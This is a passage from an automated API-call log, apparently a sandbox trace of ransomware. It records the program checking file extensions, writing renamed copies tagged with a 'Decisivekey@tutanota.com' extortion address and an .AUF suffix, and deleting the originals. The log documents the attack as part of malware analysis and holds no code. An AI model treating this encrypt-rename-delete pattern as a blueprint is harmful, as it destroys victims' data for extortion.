(lpString1=".jpg", lpString2=".GIF") returned 1 [0212.443] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.443] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.443] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=945) returned 1 [0212.443] CloseHandle (hObject=0x208) returned 1 [0212.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0212.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.443] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.443] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0212.447] GetLastError () returned 0x0 [0212.447] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0212.458] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0212.459] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.459] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.459] SetEndOfFile (hFile=0x1f0) returned 1 [0212.459] CloseHandle (hObject=0x1f0) returned 1 [0212.459] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.459] SetEndOfFile (hFile=0x208) returned 1 [0212.460] CloseHandle (hObject=0x208) returned 1 [0212.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.460] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0212.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.460] lstrlenW (lpString=".doc") returned 4 [0212.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.460] lstrlenW (lpString=".docx") returned 5 [0212.460] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.460] lstrlenW (lpString=".pdf") returned 4 [0212.460] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.460] lstrlenW (lpString=".xls") returned 4 [0212.460] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.460] lstrlenW (lpString=".xlsx") returned 5 [0212.460] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.460] lstrlenW (lpString=".ppt") returned 4 [0212.460] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.460] lstrlenW (lpString=".zip") returned 4 [0212.460] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.460] lstrlenW (lpString=".rar") returned 4 [0212.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString=".bz2") returned 4 [0212.461] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString=".7z") returned 3 [0212.461] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".dbf") returned 4 [0212.461] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".1cd") returned 4 [0212.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".jpg") returned 4 [0212.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".doc") returned 4 [0212.461] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString=".docx") returned 5 [0212.461] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.461] lstrlenW (lpString=".pdf") returned 4 [0212.461] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString=".xls") returned 4 [0212.461] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString=".xlsx") returned 5 [0212.461] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.461] lstrlenW (lpString=".ppt") returned 4 [0212.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".zip") returned 4 [0212.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString=".rar") returned 4 [0212.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.461] lstrlenW (lpString=".bz2") returned 4 [0212.461] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString=".7z") returned 3 [0212.461] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".dbf") returned 4 [0212.461] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".1cd") returned 4 [0212.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0212.461] lstrlenW (lpString=".jpg") returned 4 [0212.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.462] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.462] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.462] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2044) returned 1 [0212.463] CloseHandle (hObject=0x208) returned 1 [0212.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0212.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.463] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.463] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0212.464] GetLastError () returned 0x0 [0212.464] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0212.498] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x800, lpOverlapped=0x0) returned 1 [0212.498] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.498] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.498] SetEndOfFile (hFile=0x1f0) returned 1 [0212.499] CloseHandle (hObject=0x1f0) returned 1 [0212.499] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.499] SetEndOfFile (hFile=0x208) returned 1 [0212.503] CloseHandle (hObject=0x208) returned 1 [0212.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.503] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0212.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.503] lstrlenW (lpString=".doc") returned 4 [0212.503] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.503] lstrlenW (lpString=".docx") returned 5 [0212.503] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.504] lstrlenW (lpString=".pdf") returned 4 [0212.504] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".xls") returned 4 [0212.504] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".xlsx") returned 5 [0212.504] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.504] lstrlenW (lpString=".ppt") returned 4 [0212.504] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".zip") returned 4 [0212.504] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".rar") returned 4 [0212.504] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".bz2") returned 4 [0212.504] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.504] lstrlenW (lpString=".7z") returned 3 [0212.504] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".dbf") returned 4 [0212.504] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".1cd") returned 4 [0212.504] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".jpg") returned 4 [0212.504] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".doc") returned 4 [0212.504] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.504] lstrlenW (lpString=".docx") returned 5 [0212.504] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.504] lstrlenW (lpString=".pdf") returned 4 [0212.504] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".xls") returned 4 [0212.504] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".xlsx") returned 5 [0212.504] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.504] lstrlenW (lpString=".ppt") returned 4 [0212.504] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.504] lstrlenW (lpString=".zip") returned 4 [0212.504] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".rar") returned 4 [0212.504] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.504] lstrlenW (lpString=".bz2") returned 4 [0212.505] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.505] lstrlenW (lpString=".7z") returned 3 [0212.505] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.505] lstrlenW (lpString=".dbf") returned 4 [0212.505] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.505] lstrlenW (lpString=".1cd") returned 4 [0212.505] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0212.505] lstrlenW (lpString=".jpg") returned 4 [0212.505] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.505] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.505] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.505] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=20371) returned 1 [0212.505] CloseHandle (hObject=0x208) returned 1 [0212.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0212.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.506] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.506] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.506] GetLastError () returned 0x0 [0212.506] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0212.525] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0212.526] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.526] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.526] SetEndOfFile (hFile=0x1e0) returned 1 [0212.527] CloseHandle (hObject=0x1e0) returned 1 [0212.527] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.527] SetEndOfFile (hFile=0x208) returned 1 [0212.527] CloseHandle (hObject=0x208) returned 1 [0212.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.530] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0212.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.530] lstrlenW (lpString=".doc") returned 4 [0212.530] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.530] lstrlenW (lpString=".docx") returned 5 [0212.530] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.530] lstrlenW (lpString=".pdf") returned 4 [0212.530] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.530] lstrlenW (lpString=".xls") returned 4 [0212.530] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.530] lstrlenW (lpString=".xlsx") returned 5 [0212.530] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.530] lstrlenW (lpString=".ppt") returned 4 [0212.530] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.530] lstrlenW (lpString=".zip") returned 4 [0212.530] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.530] lstrlenW (lpString=".rar") returned 4 [0212.530] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.530] lstrlenW (lpString=".bz2") returned 4 [0212.530] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.530] lstrlenW (lpString=".7z") returned 3 [0212.530] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.530] lstrlenW (lpString=".dbf") returned 4 [0212.530] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".1cd") returned 4 [0212.531] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".jpg") returned 4 [0212.531] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".doc") returned 4 [0212.531] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString=".docx") returned 5 [0212.531] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.531] lstrlenW (lpString=".pdf") returned 4 [0212.531] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString=".xls") returned 4 [0212.531] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.531] lstrlenW (lpString=".xlsx") returned 5 [0212.531] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.531] lstrlenW (lpString=".ppt") returned 4 [0212.531] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".zip") returned 4 [0212.531] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.531] lstrlenW (lpString=".rar") returned 4 [0212.531] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.531] lstrlenW (lpString=".bz2") returned 4 [0212.531] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString=".7z") returned 3 [0212.531] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".dbf") returned 4 [0212.531] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".1cd") returned 4 [0212.531] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 